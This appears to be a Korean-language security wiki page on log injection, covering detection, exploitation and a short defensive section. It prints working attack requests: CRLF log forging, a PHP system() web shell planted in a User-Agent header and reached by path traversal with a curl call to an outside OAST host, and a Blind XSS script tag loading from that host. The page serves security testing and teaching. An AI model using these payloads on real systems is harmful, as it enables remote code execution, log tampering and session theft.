Log Injection

Introduction

Log Injection은 사용자 입력이 로그에 포함되는 경우 공격자가 이를 이용해 로그 항목을 위조하거나 악성 내용을 로그에 삽입할 수 있습니다.

Offensive techniques

Detect

WhiteBox

소스코드 또는 로그를 확인할 수 있는 경우 식별하기 쉽습니다. 에러 로그에서 사용자의 입력 값을 포함하여 로깅하는 경우 해당 취약점의 영향을 받습니다.

  • 코드레벨: 각 언어에서 로그를 작성하는 부분 중 사용자 입력이 존재하는지 체크
  • 로그레벨: 실제로 웹 요청을 통해 에러를 유도하고, 기록되는 로그를 체크

언어 별 취약한 코드는 Vulncat에 정리되어 있으니 해당 문서를 참고해주세요.

// 취약 코드 예시
// 아래 코드는 query 파라미터로 부터 얻은 값이 별도의 검증 없이
// log로 기록됩니다.

input := r.FormValue("query")
logger.ErrorF("Error input: %s / %s", input, err)

BlackBox

소스코드나 로그를 통해 확인할 수 없다면 일반적으로 식별하기 어렵습니다. 단 Blind 계통의 취약점을 통해 확인할 수 있는 경우가 있습니다. 이 때 OAST를 이용한 테스팅 방법이 가장 유용합니다. 로그 내 OAST 요청을 발생시키는 코드를 삽입한 후 로그를 유도하여 OAST 서비스를 통해 Reaction을 확인하고, 요청이 온다면 백엔드에서 Blind 계통의 취약점 가능성이 있다는 것을 알 수 있게 됩니다.

e.g

GET /please_error_trigger HTTP/1.1
User-Agent: aaaaaaa"><img/src=OAST>

단 Callback이 온 경우 단순 Log injection이 아닌 Blind SSRF, Blind XSS 등 다른 취약점일 가능성이 높습니다.

Exploitation

Log forging

사용자 입력이 로그에 반영되는 부분이 있다면 CRLF(\r\n) 문자를 이용하여 새로운 로그를 작성할 수 있습니다. 이러한 로그는 침해사고 분석을 어렵게할 수 있고, 로그의 무결성을 해쳐서 로그의 신뢰도를 떨어뜨리고, 로그가 가지는 부인 방지로서의 목적을 상실하게 할 수 있습니다.

코드

input := r.FormValue("query")
logger.ErrorF("['%s' User][error][input: %s] %s", username, input, err)

요청과 정상 로그

GET /?query=aaaa

['A' User][error][input: aaaa] invalid data

공격 요청과 로그

GET /?query=aaaa]%20invalid%20data%0d%0a['B' User][token]%20re-generate%20token

['A' User][error][input: aaaa] invalid data
['B' User][token] re-generate token

Log Poisoning

Log 데이터를 통제할 수 있고 서비스 내 LFI, Path Traversal 취약점이 있는 경우 로그 파일의 경로를 유추하여 RCE 등 위험도 높일 수 있습니다.

First request (log poisoning)

GET / HTTP/1.1
User-Agent: aa<?php echo system($_GET['cmd']); ?>bb

Second request (path traversal)

GET /file.php?path=/var/log/apache2/access.log?cmd=curl%20<OAST>/rce HTTP/1.1

Blind XSS

로그를 처리하는 어드민이나 웹 서비스가 있다면 이를 이용해서 Blind XSS가 가능할 수 있습니다.

GET /?query=aaa"'></script><script src=<OAST>></script>

// 로그
['A' User][error][input: aaa"'></script><script src=<OAST>></script>] invalid data

// 만약 웹 서비스에서 위 로그를 확인할 수 있다면 Blind XSS가 가능합니다.

Defensive techniques

가급적 사용자의 입력이 로그에 반영되지 않도록 코드를 작성해야하며, 만약 사용자 입력이 반영되어야 하는 경우 로그 포맷에 영향을 줄 수 없도록 CRLF, Tab, 과도한 Space 등의 문자는 기록되지 않도록 검증해야 합니다.

Tools

References